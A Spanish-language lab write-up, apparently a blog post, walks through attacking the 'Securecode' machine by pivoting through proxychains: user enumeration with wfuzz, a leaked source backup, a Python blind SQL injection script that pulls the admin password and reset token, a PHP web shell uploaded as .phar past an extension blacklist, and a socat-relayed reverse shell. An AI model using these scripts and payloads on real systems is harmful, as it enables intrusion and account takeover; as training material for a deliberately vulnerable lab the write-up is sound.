Ahora, cada vez que pasemos por el proxychains, tendremos acceso a la máquina 192.168.100.20 (Securecode).
Reconocimiento - Securecode
Para empezar, vamos a crearnos nuestros directorios de trabajo.
mkdir Securecode2
cd Securecode2
mkdir nmap content exploit
cd nmap
Vamos a empezar con el escaneo de puertos con nmap; para ello vamos a necesitar utilizar el parámetro -sT (TCP connect scan) en lugar del -sS (TCP SYN scan).
Esto debido a que estamos utilizando proxychains.
Esto puede ir más o menos lento (debido a que los paquetes viajan por el túnel); por tanto, mejor vamos a crear un simple script en bash para detectar los puertos abiertos.
#!/bin/bash
trap ctrl_c INT
function ctrl_c(){
echo -e "\n\n[!]Saliendo ...\n"
exit 1
}
for i in $(seq 1 65535); do
echo '' > /dev/tcp/192.168.100.20/$i && echo "[+] Puerto $i - Abierto"
done
También podemos subir un compilado de Nmap a la máquina víctima para hacer el reconocimiento de puertos.
Ahora subimos el archivo de bash a la máquina víctima y lo ejecutamos.
./portscan.sh 2>/dev/null
[+] Puerto 80 - Abierto
Parece que solo tiene el puerto 80 abierto; vamos a ver qué tecnologías usa con WhatWeb.
proxychains whatweb 192.168.100.20
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.20:80 ... OK
http://192.168.100.20 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[ex@abc.xyz], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.100.20], JQuery[3.2.1], Script, Title[Coming Soon 2]
Vemos un Apache, la versión y Ubuntu y poco más.
Para ver la web desde nuestro navegador, hay que pasar por el proxychains; esto lo podemos hacer con un addon; yo, como uso Firefox, voy a utilizar FoxyProxy.
Simplemente descargan el addon y luego lo abren, luego le dan proxy y agregar.
Definen el nombre, el tipo socks5, el host, que es el localhost, y el puerto, en este caso 1080.
Luego, en la sección de addons, cuando seleccionen FoxyProxy, verán el nuevo y lo seleccionan.
Ahora, cuando pongan la IP de la máquina (Securecode), verán la web.
Se ve una cuenta regresiva; la página parece que está en desarrollo.
Buscando manualmente por rutas comunes, me encuentro que tiene el robots.txt y que existe un supuesto /login. Vamos a ver.
Y parece ser un panel de inicio de sesión; está en .php; importante tenerlo en cuenta.
Vemos una zona que dice Forgot Your Password?, que muestra lo siguiente.
Esto es peligroso, ya que podríamos intentar enumerar usuarios válidos.
Y sí tenemos posibilidad de enumerar usuarios, y sabemos que el usuario admin existe.
Si hacemos Ctrl+Shift+C, y nos vamos a Network y colocamos un usuario que no existe, podemos ver cómo se tramita la petición.
Vemos que viaja por POST a resetPassword.php y como POST data envía username=<usuario>.
Con esto podemos hacer un ataque de fuerza bruta para enumerar más usuarios en el caso de que existan.
Antes de nada, vamos a realizar fuzzing con Wfuzz, para no ir tan rápido y no saturar el túnel.
proxychains wfuzz --hc 404 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.100.20/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.20/FUZZ
Total requests: 220559
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 102 L 251 W 3650 Ch "# directory-list-2.3-medium.txt"
000000007: 200 102 L 251 W 3650 Ch "# license, visit http://creativecommons.org/licenses
/by-sa/3.0/"
000000003: 200 102 L 251 W 3650 Ch "# Copyright 2007 James Fisher"
000000014: 200 102 L 251 W 3650 Ch "http://192.168.100.20/"
000000012: 200 102 L 251 W 3650 Ch "# on at least 2 different hosts"
000000006: 200 102 L 251 W 3650 Ch "# Attribution-Share Alike 3.0 License. To view a cop
y of this"
000000008: 200 102 L 251 W 3650 Ch "# or send a letter to Creative Commons, 171 Second S
treet,"
000000009: 200 102 L 251 W 3650 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000010: 200 102 L 251 W 3650 Ch "#"
000000005: 200 102 L 251 W 3650 Ch "# This work is licensed under the Creative Commons"
000000011: 200 102 L 251 W 3650 Ch "# Priority ordered case-sensitive list, where entrie
s were found"
000000013: 200 102 L 251 W 3650 Ch "#"
000000002: 200 102 L 251 W 3650 Ch "#"
000000004: 200 102 L 251 W 3650 Ch "#"
000000053: 301 9 L 28 W 316 Ch "login"
000000086: 301 9 L 28 W 318 Ch "profile"
000000202: 301 9 L 28 W 316 Ch "users"
000000694: 301 9 L 28 W 315 Ch "item"
000001112: 301 9 L 28 W 318 Ch "include"
Vemos un par de recursos, pero nos pide iniciar sesión primero.
Vamos a buscar archivos con extensión .php.
Pero no encuentra nada. Con la misma técnica que vimos, como se tramitan los datos a resetPassword.php, podemos ver cómo se tramitan los datos hacia login.php.
Esto con el fin de hacer fuerza bruta y ver si encontramos la contraseña de admin. Que sabemos que existe.
Vemos que se envían a checkLogin.php como username=<username>&password=<password>.
Pero no encuentra nada.
Para analizar las cosas con Burp Suite, hay que habilitar la configuración en el Burp Suite de SOCKS.
Luego de irnos a Settings en proxy, nos vamos a Network → Connections y veremos el SOCKS proxy.
Donde, luego de configurarlo por el puerto 1080 por el localhost, ya funcionará el Burp Suite.
Luego de una pequeña enumeración de usuarios, encuentro otro.
wfuzz -c -p 127.0.0.1:1080:SOCKS5 -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://192.168.100.20/login/resetPassword.php -d "username=FUZZ" 2>/dev/null -L --hw 88
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.20/login/resetPassword.php
Total requests: 8295455
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 53 L 113 W 2323 Ch "admin"
000003766: 200 53 L 113 W 2323 Ch "customer"
En este caso utilizamos el parámetro -p de wfuzz para pasar por el túnel. Vemos al usuario customer.
Después de enumerar un largo rato, decido probar extensiones comunes hasta que me encuentro con lo siguiente.
wfuzz --hc 404 -p 127.0.0.1:1080:SOCKS5 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.100.20/FUZZ.zip
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.20/FUZZ.zip
Total requests: 220559
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 102 L 251 W 3650 Ch "# directory-list-2.3-medium.txt"
000000007: 200 102 L 251 W 3650 Ch "# license, visit http://creativecommons.org/licenses
/by-sa/3.0/"
000000003: 200 102 L 251 W 3650 Ch "# Copyright 2007 James Fisher"
000000006: 200 102 L 251 W 3650 Ch "# Attribution-Share Alike 3.0 License. To view a cop
y of this"
000000004: 200 102 L 251 W 3650 Ch "#"
000000005: 200 102 L 251 W 3650 Ch "# This work is licensed under the Creative Commons"
000000002: 200 102 L 251 W 3650 Ch "#"
000000008: 200 102 L 251 W 3650 Ch "# or send a letter to Creative Commons, 171 Second S
treet,"
000000013: 200 102 L 251 W 3650 Ch "#"
000000012: 200 102 L 251 W 3650 Ch "# on at least 2 different hosts"
000000009: 200 102 L 251 W 3650 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000011: 200 102 L 251 W 3650 Ch "# Priority ordered case-sensitive list, where entrie
s were found"
000000010: 200 102 L 251 W 3650 Ch "#"
000058434: 200 19782 194583 W 4996685 C "source_code"
Vemos que existe un source_code.zip.
Vamos a descargarlo para ver qué contiene.
proxychains wget http://192.168.100.20/source_code.zip
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
--2025-08-09 19:35:39-- http://192.168.100.20/source_code.zip
Connecting to 192.168.100.20:80... [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.20:80 ... OK
connected.
HTTP request sent, awaiting response... 200 OK
Length: 5275298 (5.0M) [application/zip]
Saving to: ‘source_code.zip’
source_code.zip 100%[===============================================>] 5.03M 5.53MB/s in 0.9s
2025-08-09 19:35:40 (5.53 MB/s) - ‘source_code.zip’ saved [5275298/5275298]
7z x source_code.zip
ls
asset db.sql include index.php item login profile robots.txt source_code.zip users
Vemos un db.sql; vamos a ver su contenido.
cat db.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+02:00";
CREATE TABLE `item` (
`id` int(5) NOT NULL,
`id_user` int(5) NOT NULL,
`name` varchar(50) NOT NULL,
`description` varchar(250) NOT NULL,
`imgname` varchar(250) NOT NULL,
`price` int(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `item` (`id`, `id_user`, `name`, `description`, `imgname`, `price`) VALUES
(1, 1, 'Raspery Pi 4', 'Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B', '1.png', 92),
(2, 1, 'ALFA WIFI Adapter', 'ALFA WIFI Adapter', '2.png', 12),
(3, 1, 'Mask', 'Mask', '3.jpg', 22),
(4, 1, 'T-Shirt', 'Anonymous Quote T Shirt Fake Society Funny Hacker Parody Guy Fawkes Unisex Tee Style Round Tee Shirt', '4.jpg', 7);
CREATE TABLE `level` (
`id` int(5) NOT NULL,
`name` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `level` (`id`, `name`) VALUES
(1, 'admin'),
(2, 'user');
CREATE TABLE `user` (
`id` int(5) NOT NULL,
`username` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
`email` varchar(100) NOT NULL,
`gender` varchar(10) NOT NULL,
`id_level` int(5) NOT NULL,
`token` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `user` (`id`, `username`, `password`, `email`, `gender`, `id_level`, `token`) VALUES
(1, 'admin', '24b97b1ec42a3deace58636148135f7d', 'admin@hackshop.com', 'Male', 1, ''),
(2, 'customer', '355509442720e7eaa27d4e2fc8abe95a', 'customer@hackshop.com', 'Female', 2, '');
ALTER TABLE `item`
ADD PRIMARY KEY (`id`),
ADD KEY `id_user` (`id_user`);
ALTER TABLE `level`
ADD PRIMARY KEY (`id`);
ALTER TABLE `user`
ADD PRIMARY KEY (`id`),
ADD KEY `id_level` (`id_level`);
ALTER TABLE `item`
MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;
ALTER TABLE `user`
MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
ALTER TABLE `item`
ADD CONSTRAINT `item_ibfk_1` FOREIGN KEY (`id_user`) REFERENCES `user` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
ALTER TABLE `user`
ADD CONSTRAINT `user_ibfk_1` FOREIGN KEY (`id_level`) REFERENCES `level` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
COMMIT;
Vamos los dos usuarios que descubrimos con sus emails y sus contraseñas.
Vamos a revisar el resto de archivos si encontramos cosas interesantes.
Revisando los archivos .php, me encuentro info interesante revisando el resetPassword.php.
<?php }
function generateToken(){
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < 15; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function send_email($username, $token){
$message = "Hello ".htmlentities($username).",\n";
$message .= "Please follow the link below to reset your password: \n";
$message .= "http://".gethostname()."/doResetPassword.php?token=$token \n";
$message .= "Thanks.\n";
// get user email
$data = mysqli_query($conn, "SELECT * FROM user WHERE username='$username'");
while($result= mysqli_fetch_array($data)){
$email = $result['email'];
}
@mail($email, "Reset Your Password", $message);
}
?>
Esta es la parte importante; vemos dos funciones, una generateToken() y send_mail().
Al parecer, el token que nos envían por correo se calcula dentro del mismo resetPassword.php y en send_mail() vemos cómo se tramita la petición y a dónde, en este caso doResetPassword.php.
Si miramos el doResetPassword.php, encontramos lo siguiente:
cat doResetPassword.php
<?php
include "../include/header.php";
$p_token = $_GET['token'];
$data = mysqli_query($conn, "SELECT * FROM user");
$tokens = [];
while($result = mysqli_fetch_array($data)){
array_push($tokens, $result['token']);
}
if(ctype_alnum($p_token) AND in_array($p_token, $tokens)){
?>
<div class="container">
<br><br><br><br><br>
<div class="alert alert-success fade in">
<strong>Success! </strong> Valid Token Provided, you can change your password below <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="col-md-3">
</div>
<form action="doChangePassword.php" method="POST" class="form-horizontal col-md-6">
<div class="panel panel-primary">
<div class="panel-heading">
<center>Change Your Password</center>
</div>
<div class="panel-body">
<input type="hidden" name="token" value="<?php echo htmlentities($p_token); ?>">
<div class="form-group">
<label class="control-label col-sm-2" for="password">New Password</label>
<div class="col-sm-10">
<input type="password" name="password" class="form-control" id="password" placeholder="Enter password">
</div>
</div>
<input type="submit" value="Change Password" class="btn btn-primary">
</div>
</div>
</form>
<div class="col-md-3">
</div>
</div>
<?php
}
Si miramos el último archivo que nos falta, que es el de doChangePassword.php, vemos lo siguiente:
cat doChangePassword.php
<?php
include "../include/header.php";
$p_token = mysqli_real_escape_string($conn, $_REQUEST['token']);
$password = mysqli_real_escape_string($conn, $_REQUEST['password']);
if(isset($p_token, $password) and ctype_alnum($p_token) and $password !== ''){
$data = mysqli_query($conn, "SELECT * FROM user");
$tokens = [];
while($result = mysqli_fetch_array($data)){
array_push($tokens, $result['token']);
}
if(in_array($p_token, $tokens)){
$hash = md5($password);
$x = mysqli_query($conn, "UPDATE user SET password = '$hash' WHERE token = '$p_token'");
$y = mysqli_query($conn, "UPDATE user SET token = '' WHERE token = '$p_token'");
if($x and $y){
$_SESSION['status']=" Password Changed";
}else{
$_SESSION['danger']=" Failed to change password";
}
header("Location: login.php");
die();
}else{
$_SESSION['danger'] = " Invalid password reset link.";
header("Location: ../login/resetPassword.php");
die();
}
}else{
$_SESSION['danger'] = " Invalid Token Provided.";
header("Location: login.php");
}
?>
Ahí vemos que hace la comparativa del token y luego limpia el token en caso de existir en la base de datos y luego cambia la contraseña por la nueva.
Revisando el código, veo que la mayoría de peticiones utiliza la siguiente función de MySQL: mysqli_real_escape_string. Esto lo que hace es escapar ciertos caracteres que pueden utilizarse para realizar un SQLI.
Pero revisando veo que en la carpeta item el viewItem.php lo utiliza, pero hay un error.
cat viewItem.php
<?php
// Still under development
session_start();
ini_set("display_errors", 0);
include "../include/connection.php";
// see if user is authenticated, if not then redirect to login page
if($_SESSION['id_level'] != 1){
$_SESSION['danger'] = " You not have access to visit that page";
header("Location: ../login/login.php");
}
// only for users with level 1 (admins)
// prevent SQL injection
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);
//var_dump($result);
if(isset($result['id'])){
http_response_code(404);
}
?>
Como se puede ver, es verdad que se utiliza mysqli_real_escape_string en el $id, pero a la hora de realizar la query, no utiliza comillas o comillas simples. $data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
Entonces nosotros podemos inyectar queries evitando utilizar comillas o comillas simples, pero concatenando otra query, debido a que podemos manipular el input.
Debido a que sabemos la estructura, gracias a este backup, es más sencillo crear un script para ir enumerando la base de datos.
proxychains curl -I "http://192.168.100.20/item/viewItem.php" -G --data-urlencode "id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=97);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.20:80 ... OK
HTTP/1.1 404 Not Found
Date: Sun, 10 Aug 2025 19:58:51 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=bh5v9n39i3v0amr63p5842inkq; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8
proxychains curl -I "http://192.168.100.20/item/viewItem.php" -G --data-urlencode "id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.20:80 ... OK
HTTP/1.1 302 Found
Date: Sun, 10 Aug 2025 19:58:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=3u8m9l0sgn4g3g9v23jhkbmjtb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8
Esto es un pequeño ejemplo, id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);, en esta parte, enviamos un id 5, y con or agregamos otra query.
Debido a que no podemos usar comillas, utilizamos ASCII, que nos permite representar los caracteres en formato ASCII; en este caso nos apoyamos en el id_level, ya que sabemos que existen dos usuarios, y el primero es admin.
Debido a que en ASCII la “a” minúscula es 97. Al igualarlo a 98, la respuesta es un código redirect (302), pero al igualarlo a 97, es un código de error (404).
Gracias a este concepto, podemos crear un script que nos enumere la base de datos.4
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
# Var globales
proxies = {
'http': f'socks5://127.0.0.1:1080'
}
main_url = "http://192.168.100.20/item/viewItem.php"
characters = string.ascii_lowercase
def makeSqli():
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Username")
username = ""
for position in range(1,50):
for character in characters:
sqliURL = main_url + "?id=5 or (select(select ascii(substring(username,%d,1)) from user where id_level = 1)=%d);" % (position, ord(character))
r = requests.get(sqliURL, proxies=proxies)
if r.status_code == 404:
username += character
p2.status(username)
break
if __name__ == '__main__':
makeSqli()
Tenemos que definir el proxy también a la hora de tramitar la petición; de lo contrario, no podremos llegar a la máquina SecureCode.
python3 exploit.py
[┴] Fuerza Bruta: Iniciando ataque de fuerza bruta
[O] Username: admin
^C
[!] Saliendo ...
Para enumerar la contraseña, simplemente cambiamos los campos de username en el script por password.
python3 exploit.py
[ ] Fuerza Bruta: Iniciando ataque de fuerza bruta
[◣] password: unaccessableuntilyouchangeme
^C
[!] Saliendo ...
Bueno, vemos la contraseña de admin; vamos a probarla para ver si funciona.
Vemos que no nos deja, nos está diciendo que no podemos acceder hasta que cambiemos la contraseña, unaccessableuntilyouchangeme, debido a que conocemos la estructura de la web y la base de datos.
Podemos enumerar el token y enviarlo para cambiar la contraseña del usuario admin.
Debido a que conocemos que el token puede ser mayúsculas y minúsculas y números. Hay que volver a modificar el script.
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
# Var globales
proxies = {
'http': f'socks5://127.0.0.1:1080'
}
main_url = "http://192.168.100.20/item/viewItem.php"
characters = string.ascii_letters + string.digits
def makeSqli():
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("token")
token = ""
for position in range(1,50):
for character in characters:
sqliURL = main_url + "?id=5 or (select(select ascii(substring(token,%d,1)) from user where id_level = 1)=%d);" % (position, ord(character))
r = requests.get(sqliURL, proxies=proxies)
if r.status_code == 404:
token += character
p2.status(token)
break
if __name__ == '__main__':
makeSqli()
python3 exploit.py
[......\.] Fuerza Bruta: Iniciando ataque de fuerza bruta
[▇] token: P2rmqwDPXxpwNxC
^C
[!] Saliendo ...
Y ahí tenemos el token del usuario admin; vamos a ver si le podemos cambiar la contraseña.
Y podemos cambiar la contraseña a admin, por tanto, vamos a ponerle cualquiera, por ejemplo, test.
Vamos a probar si nos podemos logear en la página web.
Y logramos conectarnos a la página web como el usuario admin.
Mirando a lo que tenemos acceso, me encuentro lo siguiente.
En Items vemos que podemos editar ciertos objetos que vemos en la web si le damos a editar o agregar un nuevo item; vamos a intentar agregar un nuevo item.
Vemos que nos deja elegir una imagen para el ítem; esto puede ser peligroso debido a que no se está validando correctamente qué archivos se suben a la máquina. Podríamos subir un .php malicioso para ganar acceso a la máquina.
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Voy a guardarlo como cmd.php e intentarlo subir.
Pero vemos que no nos deja, debido a que tenemos la estructura del código web. Podemos ver qué validaciones se están aplicando.
cat newItem.php
<?php
include "../include/header.php";
include "../include/isAuthenticated.php";
$id_user = mysqli_real_escape_string($conn, $_POST['id_user']);
$name = mysqli_real_escape_string($conn, $_POST['name']);
$imgname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
$description = mysqli_real_escape_string($conn, $_POST['description']);
$price = mysqli_real_escape_string($conn, $_POST['price']);
$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");
$mimes = array("image/jpeg", "image/png", "image/gif");
Vemos que valida ciertas extensiones, pero hay varias que interpretan código .php y no están contempladas, como el .phar; por tanto, le cambiamos el nombre del archivo a cmd.phar y probamos.
Probando, no me deja agregar el nuevo ítem, pero sí modificar uno existente. Que a fines prácticos es lo mismo.
Por tanto, si hacemos clic derecho y lo abrimos en otra pestaña para ver la ubicación y utilizamos la web ?cmd=<command>
nos lo ejecuta.
Por tanto, tenemos ejecución de comandos; ahora podemos enviarnos una consola a nuestra máquina. Pero debido a que no tenemos acceso directamente, tenemos que hacer unos pasos extra.
Primero que nada vamos a necesitar usar → socat.
Socat es una herramienta que nos permite redirigir todo el tráfico que va hacia un puerto a otra IP en un puerto, entre otras cosas.
Entonces nosotros, desde el cmd.php, vamos a enviar una reverse shell a la máquina crossroads, donde vamos a tener el socat redirigiendo el tráfico hacia nuestra IP a un puerto.
Primero vamos a subir el binario socat a la máquina crossroads.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
root@crossroads:/root# wget http://192.168.0.6/socatx64.bin
root@crossroads:/root# chmod +x socatx64.bin
root@crossroads:/root# ./socatx64.bin TCP4-LISTEN:4446,fork TCP4:192.168.0.6:4446
En este comando, estamos redirigiendo el tráfico entrante en la máquina Crossroads hacia nuestra IP por el puerto 4446; por tanto, ahora la reverse shell la tenemos que enviar a Crossroads y ponernos en escucha con nc en nuestra máquina atacante por el puerto 4446 en este caso.
pwncat-cs :4446
Recuerden que tenemos que pasar por el proxy (en este caso con FoxyProxy) y tenemos que utilizar la IP a la que la máquina tiene acceso, en este caso la 192.168.100.x, y urlencodear los & a %26 para que funcione.
pwncat-cs :4446
[11:39:44] Welcome to pwncat 🐈! __main__.py:164
[11:42:43] received connection from 192.168.0.26:38706 bind.py:84
[11:42:43] 192.168.0.26:38706: registered new host w/ db
(remote) www-data@secure:/var/www/html/item/image$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:87:c3:59 brd ff:ff:ff:ff:ff:ff
inet 192.168.100.20/24 brd 192.168.100.255 scope global noprefixroute enp0s3
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe87:c359/64 scope link
valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:03:9e:5b brd ff:ff:ff:ff:ff:ff
inet 192.168.200.10/24 brd 192.168.200.255 scope global noprefixroute enp0s8
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe03:9e5b/64 scope link
valid_lft forever preferred_lft forever
Como ven, el túnel con socat funcionó, y estamos en la máquina Securecode como www-data.
Esta máquina no tiene contemplado que escalemos privilegios, por tanto, hasta aquí llega el laboratorio.
Comentarios - Securecode
La verdad, siempre que me quedo atorado es porque no sé enumerar bien y esta máquina lo demuestra. Probé varias cosas, pero se me olvidó mirar las extensiones comunes como .bak o .zip y, luego de tener el código de cómo funciona la web, fue más sencillo. Para practicar SQLI, una máquina bastante buena, la verdad.
Conclusiones
Laboratorio algo extenso y solo son dos máquinas, pero lo importante es aprender temas de pivoting y cómo manejar estas herramientas para poder moverse entre interfaces de redes y máquinas donde primeramente no tenemos acceso.
Ya sabéis que cualquier cosa, me pueden dejar un comentario o contactarme por Discord como Varovish.
Subscribe to my newsletter
Read articles from Dh89 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Dh89
Dh89
Soy un entusiasta de la ciberseguridad,disc -> Varovish/varovish